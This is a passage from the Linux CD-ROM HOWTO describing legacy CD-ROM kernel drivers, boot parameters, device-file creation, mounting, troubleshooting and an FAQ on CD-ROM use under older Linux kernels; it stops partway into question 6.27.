Some Linux distributions use group permissions to control access to devices such as CD-ROMs. A common convention is to only allow members of a group called cdrom to have access. In this case you should add the appropriate users to the group rather than changing file permissions on the device file.

When booting Linux, the device drivers attempt to determine whether the appropriate devices are present, typically by probing specific addresses. Many of the drivers auto-probe at several addresses, but because of differences in configuration, possible device conflicts, and hardware limitations, the drivers sometimes need help identifying the addresses and other parameters. Most drivers support an option on the kernel command line to pass this information to the device driver. This can be done interactively, or more commonly, configured into your boot loader. With LILO, for example, you would add an append command such as the following to your /etc/lilo.conf file:

append = "sbpcd=0x230,SoundBlaster"

See the LILO documentation for more information.

In the next section I discuss issues specific to individual device drivers, including device files, boot parameters, and the capabilities of the different drivers. You probably only need to read the section relevant to your drive type. The documentation files are usually found in the directory /usr/src/linux/Documentation/cdrom.

4.3.1. Sbpcd Driver

Principal author: | Eberhard Moenkeberg (emoenke@gwdg.de)
Multi-session support: | yes (but not all drives)
Multiple drive support: | yes
Loadable module support: | yes
Reading audio frames: | yes (CR-562, CR-563, CD-200 only)
Auto-probing: | yes
Device file: | /dev/sbpcd, major 25
Configuration file: | sbpcd.h
Kernel config option: | Matsushita/Panasonic CDROM support
Documentation file: | sbpcd

This driver accepts a kernel command line of the form:

sbpcd=<io-address>,<interface-type>

where the first parameter is the base address of the device (e.g. 0x230), and <interface-type> is one of "SoundBlaster", "LaserMate", or "SPEA". See the file sbpcd.h for hints on what interface type to use. Using sbpcd=0 disables auto-probing, disabling the driver.

The device file can be created using:

# mknod /dev/sbpcd b 25 0

Up to four drives per controller are supported. The next three drives on the first controller would use minor device numbers 1 through 3. If you have more than one controller, create devices with major numbers 26, 27, and 28, up to a maximum of 4 controllers (this is 16 CD-ROM drives in total; hopefully enough for most users :-).

See the file sbpcd for more information on this driver.

If you recently bought a CD-ROM drive, don't assume that if it connects to a SoundBlaster card it should use this kernel driver. Most CD-ROM drives being sold by Creative Labs are now EIDE/ATAPI drives.

4.3.2. Sonycdu535 Driver

Principal author: | Ken Pizzini (ken@halcyon.com)
Multiple drive support: | no
Loadable module support: | yes
Reading audio frames: | no
Auto-probing: | no
Device file: | /dev/sonycd535, major 24
Configuration file: | sonycd535.h
Kernel config option: | Sony CDU535 CDROM support
Documentation file: | sonycd535

This driver accepts a kernel command line of the form:

sonycd535=<io-address>

where <io-address> is the base address of the controller (e.g. 0x320). Alternatively you can set the address in the file sonycd535.h and compile it in.

The device file can be created using:

# mknod /dev/sonycd535 b 24 0

Some Linux distributions use /dev/sonycd for this device. Older versions of the driver used major device number 21; make sure your device file is correct.

This driver was previously distributed as a patch but is now part of the standard kernel. See the file sonycd535 for more information on this driver.

4.3.3. Cdu31a Driver

Principal author: | Corey Minyard (minyard@-rch.cirr.com)
Multi-session support: | yes
Multiple drive support: | no
Loadable module support: | yes
Reading audio frames: | yes
Auto-probing: | no
Device file: | /dev/cdu31a, major 15
Configuration file: | cdu31a.h
Kernel config option: | Sony CDU31A/CDU33A CDROM support
Documentation file: | cdu31a

This driver accepts a kernel command line of the form:

cdu31a=<io-address>,<interrupt>,PAS

The first number is the I/O base address of the card (e.g. 0x340). The second is the interrupt number to use (0 means to use polled i/o). The optional third parameter should be "PAS" if the drive is connected to a Pro-Audio Spectrum 16 sound card, otherwise left blank.

If the driver is loaded as a module, it uses a slightly different format. When loading the driver using the modprobe or insmod command, the parameters take the form:

cdu31a_port=<io-address> cdu31a_irq=<interrupt>

The base io-address is required while the interrupt number is optional.

The device file can be created using:

# mknod /dev/cdu31a b 15 0

See the file cdu31a for more information on this driver.

4.3.4. Aztcd Driver

Principal author: | Werner Zimmermann (zimmerma@rz.fht-esslingen.de)
Multi-session support: | yes
Multiple drive support: | no
Loadable module support: | yes
Reading audio frames: | no
Auto-probing: | no
Device file: | /dev/aztcd0, major 29
Configuration file: | aztcd.h
Kernel config option: | Aztech/Orchid/Okano/Wearnes (non IDE) CDROM support
Documentation file: | aztcd

This driver accepts a kernel command line of the form:

aztcd=<io-address>

where the parameter is the I/O base address of the card (e.g. 0x340).

The device file can be created using:

# mknod /dev/aztcd0 b 29 0

Note that this driver is for the CDA268-01A only. Other models, including the CDA268-03I and CDA269-031SE are not proprietary and should use the IDECD (ATAPI) kernel driver.

See the file aztcd for more information on this driver.

4.3.5. Gscd Driver

Principal author: | Oliver Raupach (raupach@nwfs1.rz.fh-hannover.de)
Multi-session support: | no
Multiple drive support: | no
Loadable module support: | yes
Reading audio frames: | no
Auto-probing: | no
Device file: | /dev/gscd0, major 16
Configuration file: | gscd.h
Kernel config option: | Goldstar R420 CDROM support
Documentation file: | gscd

This driver accepts a kernel command line of the form:

gscd=<io-address>

specifying the I/O base address of the card (e.g. 0x340).

The device file can be created using:

# mknod /dev/gscd0 b 16 0

See the file gscd for more information on this driver.

4.3.6. Mcd Driver

Principal author: | Martin (martin@bdsi.com)
Multi-session support: | no
Multiple drive support: | no
Loadable module support: | yes
Reading audio frames: | no
Auto-probing: | no
Device file: | /dev/mcd, major 23
Configuration file: | mcd.h
Kernel config option: | Standard Mitsumi CDROM support
Documentation file: | mcd

This is the older driver for Mitsumi drivers that has been available for some time. You might want to try the newer mcdx driver, which has some new features but is possibly less stable.

This driver accepts a kernel command line of the form:

mcd=<io-address>,<irq>

specifying the I/O base address of the card (e.g. 0x340) and the IRQ request number used.

The device file can be created using:

# mknod /dev/mcd b 23 0

See the file mcd for more information on this driver.

4.3.7. Mcdx Driver

Principal author: | Heiko Schlittermann
Multi-session support: | yes
Multiple drive support: | yes
Loadable module support: | yes
Reading audio frames: | no (not supported by hardware)
Auto-probing: | no
Device file: | /dev/mcdx0, major 20
Configuration file: | mcdx.h
Kernel config option: | Experimental Mitsumi support
Documentation file: | mcdx

This is a newer driver for Mitsumi drivers. The older and possibly more stable mcd driver is still available.

This driver accepts a kernel command line of the form:

mcdx=<io-address>,<irq>

specifying the I/O base address of the card (e.g. 0x340) and the IRQ request number used.

The device file can be created using:

# mknod /dev/mcdx0 b 20 0

If you recently bought a Mitsumi CD-ROM drive, don't assume that it should use this kernel driver. New Mitsumi drives are now EIDE/ATAPI compatible and should use the idecd kernel driver instead.

See the file mcdx for more information on this driver.

4.3.8. Cm206 Driver

Principal author: | David A. van Leeuwen (david@tm.tmo.nl)
Multi-session support: | yes
Multiple drive support: | no
Loadable module support: | yes
Reading audio frames: | no
Auto-probing: | yes
Device file: | /dev/cm206cd, major 32
Configuration file: | cm206.h
Kernel config option: | Philips/LMS CM206 CDROM support
Documentation file: | cm206

The driver accepts a kernel command line of the form:

cm206=<io-address>,<interrupt>

where the first number is the I/O base address of the card (e.g. 0x340). The second is the interrupt channel.

The device file can be created using:

# mknod /dev/cm206cd b 32 0

See the file cm206 for more information on this driver.

4.3.9. Optcd Driver

Principal author: | Leo Spiekman (spiekman@dutette.et.tudelft.nl)
Multi-session support: | yes
Multiple drive support: | no
Loadable module support: | yes
Reading audio frames: | no
Auto-probing: | no
Device file: | /dev/optcd0, major 17
Configuration file: | optcd.h
Kernel config option: | Experimental Optics Storage ... CDROM support
Documentation file: | optcd

The driver accepts a kernel command line of the form

optcd=<io-address>

to specify the I/O base address of the card (e.g. 0x340).

The device file can be created using:

# mknod /dev/optcd0 b 17 0

See the file optcd for more information on this driver.

4.3.10. Sjcd Driver

Principal author: | Vadim V. Model (vadim@rbrf.msk.su)
Multi-session support: | no
Multiple drive support: | no
Loadable module support: | yes
Reading audio frames: | no
Auto-probing: | no
Device file: | /dev/sjcd, major 18
Configuration file: | sjcd.h
Kernel config option: | Experimental Sanyo H94A CDROM support
Documentation file: | sjcd

The driver accepts a kernel command line of the form:

sjcd=<io-address>,<interrupt>,<dma>

indicating the base address, interrupt, and DMA channel to be used (e.g. sjcd=0x340,10,5).

The device file can be created using:

# mknod /dev/sjcd b 18 0

See the file sjcd for more information on this driver.

4.3.11. Paride Driver

Principal author: | Grant R. Guenther (grant@torque.net)
Multi-session support: | no
Multiple drive support: | yes
Loadable module support: | yes
Reading audio frames: | no
Auto-probing: | yes
Device file: | /dev/pcd0, major 46
Configuration file: | bpcd.h
Kernel config option: | Parallel port IDE device support
Documentation file: | paride.txt

This is the driver for various types of storage devices that attach to a parallel port. Normally the driver will auto-detect the parallel port device. The documentation describes parameters that can be used to specify the device parameters if auto-detection does not work.

The device file for the first drive can be created using:

# mknod /dev/pcd0 b 46 0

See the file /usr/src/linux/Documentation/paride.xt for more information on this driver. Note that this replaces the bpcd driver that was present in older kernels.

4.3.12. SCSI Driver

Principal author: | David Giller
Multi-session support: | yes (depending on drive)
Multiple drive support: | yes
Loadable module support: | yes
Reading audio frames: | no
Auto-probing: | yes
Device file: | /dev/scd0, major 11
Configuration file: | cdrom.h
Kernel config option: | SCSI CDROM support
Documentation file: | scsi.txt

There are kernel command line option specific to each type of SCSI controller. See the SCSI HOWTO for more information.

Multiple drives are supported (up to the limit of the maximum number of devices on the SCSI bus). Create device files with major number 11 and minor numbers starting at zero:

# mknod /dev/scd0 b 11 0
# mknod /dev/scd1 b 11 1

While the kernel driver itself does not support reading digital audio frames, some SCSI drives have the capability and will work with the cdda2wav program (which uses the generic SCSI kernel interface).

Also see the discussion of the IDE SCSI emulation driver earlier in this document.

4.3.13. IDECD Driver

Principal author: | Scott Snyder (snyder@fnald0.fnal.gov)
Multi-session support: | yes
Multiple drive support: | yes
Loadable module support: | no
Reading audio frames: | yes (on supported drives)
Auto-probing: | yes
Device file: | /dev/hd{a,b,c,d}, major 22
Configuration file: | cdrom.h
Kernel config option: | Include support for IDE/ATAPI CDROMs
Documentation file: | ide-cd

This is the driver for ATAPI CD-ROMS. The driver accepts a kernel command line of the form

hdx=cyls,heads,sects,wpcom,irq
  or
hdx=cdrom

where hdx can be any of {hda,hdb,hdc,hdd}, or simply hd, for the "next" drive in sequence. Only the first three parameters are required (cyls,heads,sects). For example hdc=1050,32,64 hdd=cdrom.

Getting the IDE driver to recognize your CD-ROM drive can be tricky, especially if you have more than 2 devices or more than one IDE controller. Usually all that is required is to pass the right command line options from LILO. The file /usr/src/linux/Documentation/cdrom/ide-cd explains how to do this. Read it carefully.

Recent Linux kernels have better support for multiple IDE devices. If you have problems with an older kernel, upgrading may help.

Some IDE controllers have hardware problems which the kernel driver can work around. You may need to pass additional parameters to the driver to enable this. See the documentation for details.

4.4. Booting the Linux Kernel

You can now reboot with the new kernel. Watch for a message such as the following indicating that the CD-ROM has been found by the device driver (the message will vary depending on the drive type):

hdd: TOSHIBA CD-ROM XM-7002B, ATAPI CD/DVD-ROM drive

If the bootup messages scroll by too quickly to read, you should be able to retrieve them using dmesg or tail /var/log/messages.

If the drive is not found, then a problem has occurred, See the section on troubleshooting.

4.5. Mounting, Unmounting, and Ejecting Devices

To mount a CD-ROM, insert a disc in the drive, and run the mount command as root (this assumes you created a symbolic link to your device file as recommended above and that an empty directory /mnt/cdrom exists):

# mount -t iso9660 -r /dev/cdrom /mnt/cdrom

The CD can now be accessed under the directory /mnt/cdrom.

There are other options to the mount command that you may wish to use; see the mount(8) man page for details.

You can add an entry to /etc/fstab to automatically mount a CD-ROM when Linux boots or to specify parameters to use when it is mounted; see the fstab(5) man page.

Note that to play audio CDs you should not try to mount them.

To unmount a CD-ROM, use the umount command as root:

# umount /mnt/cdrom

The disc can only be unmounted if no processes are currently accessing the drive (including having their default directory set to the mounted drive). You can then eject the disc. Most drives have an eject button; there is also a standalone eject program that allows ejecting CD-ROMs under software control.

Note that you should not eject a disc while it is mounted (this may or may not be possible depending on the type of drive). Some CD-ROM drivers can automatically eject a CD-ROM when it is unmounted and insert the CD tray when a disc is mounted (you can turn this feature off when compiling the kernel or by using a software command).

Its possible that after playing an audio CD you may not be able to mount a CD-ROM. You need to send a CD audio "stop" command (using a CD player program) before trying the mount. This problem only appears to occur with the SBPCD driver.

Recent kernels support a kernel-based automounter which provides transparent mounting of removable media including CD-ROM. You can find the tools needed to use it at ftp://ftp.kernel.org/pub/linux/daemons/autofs/.

4.6. Troubleshooting

If you still encounter problems after following the instructions in the HOWTO, here are some things to check. The checks are listed in increasing order of complexity. If a check fails, solve the problem before moving to the next stage.

4.6.1. Step 1: Make sure you are really running the kernel you compiled

You can check the date stamp on the kernel to see if you are running the one that you compiled with CD-ROM support. You can do this with the uname command:

% uname -a
Linux moe 2.4.4 #1 Sat Apr 28 10:30:45 EDT 2001 i686 unknown

or by displaying the file /proc/version:

% cat /proc/version
Linux version 2.4.4 (root@moe) (gcc version 2.95.2 20000220 (Debian GNU/Linux)) #1 Sat Apr 28 10:30:45 EDT 2001

If the date stamp doesn't match when you compiled the kernel, then you are running an old kernel. Did you remember to reboot? If you use LILO, did you re-install it (typically by running /sbin/lilo)? If booting from floppy, did you create a new boot floppy and use it when booting?

4.6.2. Step 2: Make sure the proper kernel drivers are compiled in

You can see what drivers are compiled in by looking at /proc/devices:

% cat /proc/devices
Character devices:
 1 mem
 2 pty
 3 ttyp
 4 ttyS
 5 cua
 7 vcs

Block devices:
 3 ide0
22 ide1

First look for your CD-ROM device driver. These are all block devices, in this case we can see that the idecd driver with major number 22 was present.

Also make sure that ISO-9660 filesystem support was compiled in, by looking at /proc/filesystems:

% cat /proc/filesystems
        ext2
nodev   proc
nodev   devpts
        vfat
        iso9660

You can also see what i/o port addresses are being used by a driver with the file /proc/ioports:

howto % cat /proc/ioports
 ...
0230-0233 : sbpcd
 ...

If any of the drivers you thought you compiled in are not displayed, then something went wrong with the kernel configuration or build. Start the installation process again, beginning with configuration and building of the kernel.

4.6.3. Step 3: Did the kernel detect your drive during booting?

Make sure that the CD-ROM device was detected when the kernel booted. You should have seen a message on bootup. If the messages scrolled off the screen, you can usually recall them using the dmesg command:

% dmesg

or

% tail /var/log/messages

If your drive was not found then something is wrong. Make sure it is powered on and all cables are connected. If your drive has hardware jumpers for addressing, check that they are set correctly (e.g. drive 0 if you have only one drive). ATAPI CD-ROMS must be jumpered as "single" or "master", and not "slave" when only one IDE device is attached to an interface. If the drive works under DOS then you can be reasonably confident that the hardware is working.

Many kernel drivers using auto-probing, but some do not, and in any case the probing is not always reliable. Use the kernel command line option listed for your kernel driver type. You may want to try several different values if you are not sure of the i/o address or other parameters. LILO can be (and usually is) configured to allow you to enter the parameters manually when booting.

Another possibility is that you used the wrong kernel driver for your CD-ROM driver. Some documentation may refer to proprietary interfaces as IDE, leading some to mistakenly believe they are ATAPI drives.

Another possibility is that your drive (or interface card) is one of the "compatible" type that requires initialization by the DOS driver. Try booting DOS and loading the vendor supplied DOS device driver. Then soft boot Linux using Control-Alt-Delete.

If your drive is not listed in this document, it is possible that there are no drivers for it available under Linux. You can check with some of the references listed at the end of this document for assistance.

4.6.4. Step 4: Can you read data from the drive?

Try reading from the CD-ROM drive. Typing the following command should cause the drive activity light (if present) to come on and no errors should be reported. Use whatever device file is appropriate for your drive and make sure a CD-ROM is inserted; use Control-C to exit.

# dd if=/dev/cdrom of=/dev/null bs=2048
^C
124+0 records in
124+0 records out

If this works, then the kernel is communicating with the drive and you can move on to step 5.

If not, then a possible cause is the device file. Make sure than the device file in the /dev directory has the correct major and minor numbers as listed previously for your drive type. Check that the permissions on the device file allow reading and writing.

A remote possibility is a hardware problem. Try testing the drive under another operating system, if possible, to determine if this could be the case.

4.6.5. Step 5: Can you mount the drive?

If you can read from the drive but cannot mount it, first verify that you compiled in ISO-9660 file system support by reading /proc/filesystems, as described previously.

Make sure you are mounting the drive with the "-t iso9660" and "-r" options and that a known good ISO-9660 CD-ROM (not Audio CD) is inserted in the drive. You normally must mount drives as user root.

Make sure that the mount point exists and is an empty directory.

If you are automatically mounting the CD-ROM on bootup, make sure that you have correct entries in the /etc/fstab file.

If you are running the syslog daemon, there may be error messages from the kernel that you are not seeing. Try using the "dmesg" command:

% dmesg
SBPCD: sbpcd_open: no disk in drive

There may also be errors logged to files in /var/log, depending on how your system is configured.

4.6.6. Debugging Audio Problems

If the drive works with CD-ROMs, but not for playing audio CDs, here are some possible solutions.

You need an application program to play audio CDs. Some applications may be broken or may not be compatible with your drive. Try other applications and/or try recompiling them yourself. A good place to look for software is ftp://www.ibiblio.org/pub/Linux/apps/sound/cdrom/.

A few of the CD-ROM drivers do not support playing Audio CDs. Check the documentation file or source code to see if that is the case.

Check if the audio can be played through the headphone jack. If so, then the problem is likely related to your sound card. Use a mixer program to set the input device and volume levels. Make sure you have installed an audio cable from the CD-ROM drive to the sound card. Make sure that the kernel sound card driver is installed and working (see the Sound HOWTO).

4.6.7. When All Else Fails

If you still have problems, here are some final suggestions for things to try:

  • carefully re-read this HOWTO document

  • read the references listed at the end of this document, especially the relevant kernel source files

  • post a question to one of the comp.os.linux or other Usenet newsgroups

  • send a question to the Linux mailing list

  • try using the latest Linux kernel

  • contact your computer dealer

  • contact the CD-ROM manufacturer

  • send mail to the maintainer of the relevant kernel driver (look in the file /usr/src/linux/MAINTAINERS)

  • send mail to me

  • fire up emacs and type Esc-x doctor :-)

Prev | Home | Next
Supported Hardware |  | Applications


Applications

The Linux CD-ROM HOWTO
Prev Next

5. Applications

This section briefly lists a few of the many applications related to CD-ROM that are available under Linux. Check the Linux Software Map for the latest versions and archive sites.

5.1. Audio CD Players

Several programs are available for playing audio CDs, either through a headphone jack or an attached sound card.

kscd

A graphical CD player included as part of the KDE desktop environment.

gtcd

A graphical CD player included as part of the GNOME desktop environment.

Workman

a graphical player running under X11 and supporting a CD database and many other features

WorkBone

an interactive text-mode player

xcdplayer

a simple X11 based player

cdplayer

a very simple command line based player

Xmcd

an X11/Motif based player

xmitsumi

another X11 based player for Mitsumi drives

xplaycd

another X11 based player, bundled with sound mixer and VU meter programs

cdtool

command line tools for playing audio CDs

Some of these programs are coded to use a specific device file for the CD-ROM (e.g. /dev/cdrom). You may be able to pass the correct device name as a parameter, or you can create a symbolic link in the /dev directory. If sending the CD output to a sound card, you may wish to use a mixer program to set volume settings or select the CD-ROM input for recording.

5.2. PhotoCD

PhotoCDs use an ISO-9660 file system containing image files in a proprietary format. Not all CD-ROM drives support reading PhotoCDs.

The hpcdtoppm program by Hadmut Danisch converts PhotoCD files to the portable pixmap format. It can be obtained from ftp://ftp.gwdg.de/pub/linux/hpcdtoppm or as part of the PBM (portable bit map) utilities, available on many archive sites (look for "pbm" or "netpbm").

The photocd program by Gerd Knorr (kraxel@cs.tu-berlin.de) can convert PhotoCD images into Targa or Windows and OS/2 bitmap files.

The same author has written the program xpcd, an X11-based program for handling PhotoCD images. You can select the images with a mouse, preview the image in a small window, and load the image with any of the five possible resolutions. You can also mark a part of the Image and load only the selected part. Look for these packages at ftp://ftp.cs.tu-berlin.de/pub/linux/Local/misc/.

The ImageMagick image file manipulation program also supports PhotoCD files. It is available from ftp://ftp.x.org/contrib/applications/ImageMagick/.

5.3. Mkisofs

Eric Youngdale's mkisofs package allows creating an ISO-9660 file system on a hard disk partition. This can then be used to assist in creating and testing CD-ROM file systems before mastering discs.

5.4. ISO-9660 Utilities

These are some utilities for verifying the format of ISO-9660 formatted discs; you may find them useful for testing suspect CDs. The package can be found at ftp://ftp.cdrom.com/pub/unixfreeware/archive/. They were written by Bill Siegmund and Rich Morin.

Prev | Home | Next
Installation |  | Answers to Frequently Asked Questions


Answers to Frequently Asked Questions

The Linux CD-ROM HOWTO
Prev Next

6. Answers to Frequently Asked Questions

6.1. How can a non-root user mount and unmount discs?

Most mount commands support the user option. If you make an entry such as the following in /etc/fstab:

/dev/sbpcd  /mnt/cdrom   iso9660     user,noauto,ro

then an ordinary user will be allowed to mount and unmount the drive using these commands:

% mount /mnt/cdrom
% umount /mnt/cdrom

By default the disc will be mounted with some options that help enforce security (e.g. programs cannot executed, device files are ignored). If this is too restrictive you can use additional options (e.g. the "exec" option will enable execution or programs). See the mount(8) man page for details.

Another method is to get the usermount package which allows non-root users to mount and unmount removable devices such as floppies and CD-ROMs, but restricts access to other devices (such as hard disk partitions). It is available on major archive sites.

Yet another option is to use the sudo program which allows users to run selective programs with root privileges.

6.2. Why do I get device is busy when unmounting a CD-ROM?

The disc cannot be unmounted if any processes are accessing the drive, including having their default directory set to the mounted filesystem. If you cannot identify the processes using the disc, you can use the fuser command, as shown in the following example.

% umount /cdrom
umount: /dev/hdd: device is busy
% fuser -v /cdrom
                     USER       PID ACCESS COMMAND
/mnt/cdrom           tranter    133 ..c..  bash

On some systems you may need to be root when running the fuser command in order to see the processes of other users.

6.3. How do I export a CD-ROM to other hosts over NFS?

You need to add an entry to the /etc/exports file. Users on other machines will then be able to mount the device. See the exports(5) man page for details.

6.4. Can I boot Linux from a CD-ROM?

Most Linux distributions support directly booting a Linux kernel from CD as an alternative to a boot floppy. This requires a bootable CD and ROM BIOS and CD-ROM drive which supporting booting from CD.

The latest version of mkisofs supports creating such disks using the El Torito standard for bootable CDs.

6.5. How can I read digital data from audio CDs?

Heiko Eissfeldt (heiko@colossus.escape.de) and Olaf Kindel have written a utility that reads audio data and saves it as .wav format sound files. The package is called cdda2wav.tar.gz and can be found on www.ibiblio.org.

Another utility to extract digital audio is cdparanoia available from http://www.xiph.org/paranoia.

Because CD-ROM drives are changing very quickly, it is difficult to list which models support reading digital data. Your best bet is to get the latest cdda2wav or cdparanoia package and read the documentation.

For more information on this subject, see the web site http://www.tardis.ed.ac.uk/~psyche/cdda/ and the alt.cd-rom FAQ listed in the references section.

6.6. Why doesn't the find command work properly?

On ISO-9660 formatted discs without the Rock Ridge Extensions, you need to add the -noleaf option to the find command. See the find(1) man page for details.

(In my experience virtually all recent Linux CDs use the Rock Ridge extensions, so this problem should occur very rarely.)

6.7. Does Linux support any recordable CD-ROM drives?

Linux supports most CD-R and CD-RW drives. The cdrecord and mkisofs tools can be used to burn CDs, there are also many graphical front-ends to these tools. For more information see the Linux CD-Writing HOWTO.

6.8. Why do I get mount: Read-only file system when mounting a CD-ROM?

CD-ROM is a read-only media. With some early kernels you could mount a CD-ROM for read/write; attempts to write data to the CD would simple be ignored. As of kernel version 1.1.33 this was corrected so that CD-ROMs must be mounted read only (e.g. using the -r option to mount).

6.9. Why does the disc tray open when I shut down the system?

The sbpcd driver supports automatically ejecting the CD when it is unmounted. In some older kernel versions this was the default behaviour. If you shut down the system, a mounted CD will be unmounted, causing it to eject.

This feature is for convenience when changing discs. If the tray is open when you mount or read a CD, it will also automatically be closed.

I found that this caused problems with a few programs (e.g. cdplay and workbone). As of the 1.1.60 kernel you can control this feature under software control. A sample program is included in the sbpcd documentation file (or use the eject program). You can also control the default behaviour by editing the kernel source file sbpcd.h.

6.10. I have a "special" CD that can't be mounted

If you have a particular disc that cannot be mounted, here are some possible reasons:

  1. It is an XA, CD-R, or CD-RW disc and your drive or the Linux driver does not support reading these discs (this is only likely for very old drives).

  2. It is a DVD disc, which is only readable by a DVD-ROM drive.

  3. The disc doesn't use an ISO-9660 file system (e.g. some use SunOS or HFS).

  4. It is an audio CD.

  5. The CD is damaged or defective.

  6. You put it in the drive upside down :-)

6.11. Do multi-platter CD-ROM drives work with Linux?

Several users have reported success with SCSI multi-disc CD-ROM changers. You probably need to enable the "Probe all LUNs on each SCSI device" kernel configuration option (this is not necessary if your CD changer is already known to the SCSI-driver. Have a look at /usr/src/linux/drivers/scsi.c).

At least one user also had to increase a SCSI timeout value in the kernel driver. A symptom of this is an error message like "wrong fs type, bad option, bad superblock on /dev/sr5, or too many mounted file systems" when trying to mount a CD for the first time, but a second mount immediately afterwards succeeds. To increase the timeout increase the value of IOCTL_TIMEOUT at the beginning of /usr/src/linux/drivers/scsi/sr_ioctl.c and recompile the kernel. A value of 10000 instead of the default 3000 is reported to work with a NEC Multispin 4Xc.

It might be necessary to create additional block special files, so that all LUNs can be accessed. A device file is needed for every LUN. So for a 7 disc changer /dev/sr0 to /dev/sr6 are needed (more if you have additional SCSI CD-ROM drives). To create the block special file execute mknod /dev/sr? b 11 ? as root with ? being the required number.

The Nakamichi MBR-7 7 disc changer, NEC Multispin 4Xc and Pioneer 12 disc changer have been reported to work.

EIDE/ATAPI multi-disc changers are also available. The kernel has support for some drives using the CDROM_SELECT_DISC ioctl function. The IDE-CD kernel driver documentation file includes source code for a program to select changer slots, or you can use various utilities such as the eject program described earlier.

6.12. I get "/cdrom: Permission denied" errors

Some CDs have root directory file permissions that only allow user root to read them. This is an error on the part of the CD-ROM vendor and is a real inconvenience. A more common occurrence is for certain files or directories not to be world readable. Some people have patched their kernels to work around the problem.

Also see the related question on hidden files later in this document.

6.13. How do I interpret IDE CD kernel error messages?

What does it mean when I get a kernel message from the IDE CD-ROM driver like "hdxx: code: xx key: x asc: xx ascq: x"?

This is an status/error message from the IDE CD-ROM drive. By default the IDECD driver prints out the raw information instead of wasting kernel space with error messages. You can change the default to display the actual error messages by going into /usr/src/linux/drivers/block/ide-cd.c, changing the value of VERBOSE_IDE_CD_ERRORS to 1, and recompiling the kernel.

6.14. How can I tell what speed CD-ROM I have?

Here's one way. This command measures how long is takes to read 1500K of data from CD:

% time -p dd if=/dev/cdrom of=/dev/null bs=1k count=1500
1500+0 records in
1500+0 records out
real 5.24
user 0.03
sys 5.07

The transfer rate of single speed drives is 150 kilobytes per second, which should take about 10 seconds. At double speed it would take five seconds, quad speed would take 2.5, etc.

The "real" time above is probably the best number to look at -- in this case it indicates a double speed drive. You can increase the amount of data transferred to get a more accurate value (the data does not get cached). You should probably run the command a few times and take the average.

I've also written a small C program that measures and reports CD-ROM data transfer rate; I can send it to you on request.

6.15. My CD-ROM stopped working after Linux was installed

The usual symptom is that the boot disk used to initially install Linux recognized your CD-ROM drive, but after Linux was installed on the hard drive or floppy and rebooted it no longer recognizes the CD-ROM.

The most common reason for this problem is that with some Linux distributions the kernel that is installed on your hard drive (or floppy) is not necessarily the same one that was on your boot disk. You selected a boot disk that matched your CD-ROM hardware, while the kernel you installed is a "generic" kernel that is lacking CD-ROM support. You can verify this by following the troubleshooting guidelines discussed previously in this document (e.g. start by checking /proc/devices).

The solution is to recompile the kernel, ensuring that the drivers for your CD-ROM drive and any others that are needed (e.g. SCSI controller, ISO-9660 file system) are included. See the Kernel HOWTO if you don't know how to do this.

If you passed any command line options to the boot disk (e.g. "hdc=cdrom") you need to add these to your boot program configuration file (typically /etc/lilo.conf).

6.16. There are "hidden" files on a CD which I can't read

Some CDs have files with the "hidden" bit set on them. Normally these files are not visible. If you mount the CD with the "unhide" option then the files should be accessible (this doesn't seem to be documented anywhere).

6.17. Where is the CD-ROM API documented?

If you want to write your own application, such as an audio CD player program, you will need to understand the application programming interface (API) provided by Linux.

Originally the CD-ROM kernel drivers used their own ioctl() functions to support features specific to each drive. Header files such as /usr/include/linux/sbpcd.h describe these. Because many of the drivers were based on other drivers, the interfaces, while not identical, have a lot in common.

More recently there has been an initiative headed by David van Leeuwen (david@tm.tno.nl) to standardize the API for CD-ROM drives, putting common code in one place and ensuring that all drivers exhibit the same behaviour. This is documented in the file /usr/src/linux/Documentation/cdrom/cdrom-standard.tex. Several kernel drivers support this. As of the 2.0 kernel all CD-ROM drivers conform to this API.

My book, Linux Multimedia Guide, goes into quite a bit of detail on how to program CD-ROM drives, especially for audio functions. See the end of the References section.

6.18. Why don't I see long filenames on this Windows CD-ROM?

If you have a CD-ROM which has long filenames under Windows but not under Linux, it may be formatted using Microsoft's proprietary Joliet filesystem. See the next question for a solution.

6.19. Is Microsoft's Joliet filesystem supported?

Microsoft has created an extension to the ISO CD-ROM format called Joliet. It allows for long filenames encoded using the 16-bit UNICODE format.

Starting with version 2.0.34 the Linux kernel has support for the Microsoft Joliet file system extensions. You need to enable support for it in the kernel.

If you want to display filenames with native language characters from Joliet CD-ROMs correctly on the screen, you need to enable support in the kernel for the appropriate NLS ISO8859 character sets.

6.20. Does Linux support "enhanced" CDs?

Some audio CDs are "enhanced" with additional data. Typically you will find that these CDs have the usual audio CD tracks as well as a data track which can be mounted as an ISO-9660 file system.

An enhanced CD I examined had Microsoft Windows and Apple Macintosh applications on it (which won't run directly under Linux of course, although I had partial success running the Windows application under the WINE Windows emulator). There were some GIF images which could be viewed using a standard viewer such as xv and some animations in Apple QuickTime format which could be viewed using the xanim program. It was a multi-session disk which some very old CD-ROM drives do not support reading. On the disc was a readme.txt file containing an Enhanced CD FAQ.

6.21. Does Linux support DVD-ROM?

SCSI and ATAPI compliant DVD-ROM drives should work under Linux for reading discs formatted with an ISO-9660 file system. In other words they will work as a (possibly large) CD-ROM drive.

Many DVD-ROM discs use the UDF file system. Recent kernels have UDF filesystem support.

A number of Linux MPEG-2 DVD players are available. For more information see the DVD Playing HOWTO.

6.22. Does Linux support CD-RW?

SCSI and ATAPI compliant CD-RW drives work under Linux for discs formatted with an ISO-9660 or UDF file system. This includes the ability to write to the disc. Utilities such as cdrecord can be used to erase a disc.

6.23. How do I mount a multi-session disc?

You mount a multi-session disc like any other CD-ROM. The normal behaviour for multi-session support is that the last session will be seen when you mount the disc. You will not see multiple partitions. If it does not work it could be for three reasons:

  1. Your CD-ROM drive does not support reading multi-session CDs (it would probably have to be quite old for this to be the case).

  2. The Linux kernel driver for your CD-ROM type does not support multi-session (mostly only some old proprietary, non-IDE/ATAPI and non-SCSI drives fall into this category).

  3. If you are mounting a CD with a file system other than ISO-9660, then multi-session may not be supported.

6.24. How do I read a CD volume label?

There is a small utility called volname included with recent versions of the eject program. Alternatively you can run this shell command:

dd if=/dev/cdrom bs=1 skip=32808 count=32

assuming /dev/cdrom is the device file name for your drive.

6.25. My IDE CD-R or CD-RW drive is not working with Linux

You need to use the IDE SCSI emulation driver for writable drives. See the Linux CD-Writing HOWTO for more information.

6.26. Is the insert your brand/model here IDE CD-ROM drive supported?

Yes, of course it is. Linux supports the IDE interface used by all modern IDE CD-ROM drives. It has been like this since kernel version 1.1.85.

6.27. I can't seem to find a driver for my IDE drive in the kernel source?

